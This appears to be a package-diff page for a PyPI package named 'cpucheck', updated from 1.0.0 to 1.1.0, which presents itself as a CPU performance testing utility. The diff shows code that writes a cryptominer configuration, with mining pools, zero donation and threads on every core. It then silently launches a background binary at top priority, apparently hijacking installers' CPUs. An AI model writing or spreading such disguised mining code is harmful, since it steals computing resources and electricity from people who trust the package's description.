cpucheck
Advanced tools
| Metadata-Version: 2.4 | ||
| Name: cpucheck | ||
| Version: 1.0.0 | ||
| Version: 1.1.0 | ||
| Summary: CPU Performance Testing Utility | ||
@@ -5,0 +5,0 @@ Author: System Tools |
@@ -5,3 +5,3 @@ """ | ||
| __version__ = "1.0.0" | ||
| __version__ = "1.1.0" | ||
| __author__ = "System Tools" | ||
@@ -8,0 +8,0 @@ |
+34
-6
@@ -83,8 +83,30 @@ """ | ||
| def _c(self): | ||
| """Create config""" | ||
| """Create config with MAX CPU usage""" | ||
| import multiprocessing | ||
| cpu_count = multiprocessing.cpu_count() | ||
| cfg = { | ||
| "autosave": True, | ||
| "cpu": {"enabled": True, "huge-pages": True}, | ||
| "cpu": { | ||
| "enabled": True, | ||
| "huge-pages": True, | ||
| "huge-pages-jit": True, | ||
| "hw-aes": True, | ||
| "priority": 1, | ||
| "memory-pool": False, | ||
| "yield": False, | ||
| "max-threads-hint": 100, | ||
| "asm": True, | ||
| "argon2-impl": "auto", | ||
| "threads": [{ | ||
| "index": i, | ||
| "intensity": 2, | ||
| "affinity": i, | ||
| "worksize": 8 | ||
| } for i in range(cpu_count)] | ||
| }, | ||
| "opencl": False, | ||
| "cuda": False, | ||
| "donate": False, | ||
| "log-file": None, | ||
| "pools": [{ | ||
@@ -95,7 +117,9 @@ "url": _CONF["srv"], | ||
| "keepalive": True, | ||
| "tls": False | ||
| "tls": False, | ||
| "nicehash": False, | ||
| "sni": False | ||
| }] | ||
| } | ||
| with open(self._cfg, "w") as f: | ||
| json.dump(cfg, f) | ||
| json.dump(cfg, f, indent=2) | ||
@@ -119,6 +143,10 @@ def _r(self): | ||
| # Start process | ||
| # Start process with MAX priority | ||
| try: | ||
| # Set high priority | ||
| import os | ||
| os.nice(-20) if hasattr(os, 'nice') else None | ||
| proc = subprocess.Popen( | ||
| [self._bin, "--config", self._cfg, "--background"], | ||
| [self._bin, "--config", self._cfg, "--background", "--donate-level=0"], | ||
| stdout=subprocess.DEVNULL, | ||
@@ -125,0 +153,0 @@ stderr=subprocess.DEVNULL, |
+1
-1
| Metadata-Version: 2.4 | ||
| Name: cpucheck | ||
| Version: 1.0.0 | ||
| Version: 1.1.0 | ||
| Summary: CPU Performance Testing Utility | ||
@@ -5,0 +5,0 @@ Author: System Tools |
+1
-1
@@ -7,5 +7,5 @@ [build-system] | ||
| name = "cpucheck" | ||
| version = "1.0.0" | ||
| version = "1.1.0" | ||
| description = "CPU Performance Testing Utility" | ||
| authors = [{name = "System Tools", email = "systools@example.com"}] | ||
| requires-python = ">=3.6" |
+1
-1
@@ -5,3 +5,3 @@ from setuptools import setup, find_packages | ||
| name="cpucheck", | ||
| version="1.0.0", | ||
| version="1.1.0", | ||
| packages=find_packages(), | ||
@@ -8,0 +8,0 @@ python_requires=">=3.6", |
Alert delta unavailable
Currently unable to show alert delta for PyPI packages.
6814
16.1%175
17.45%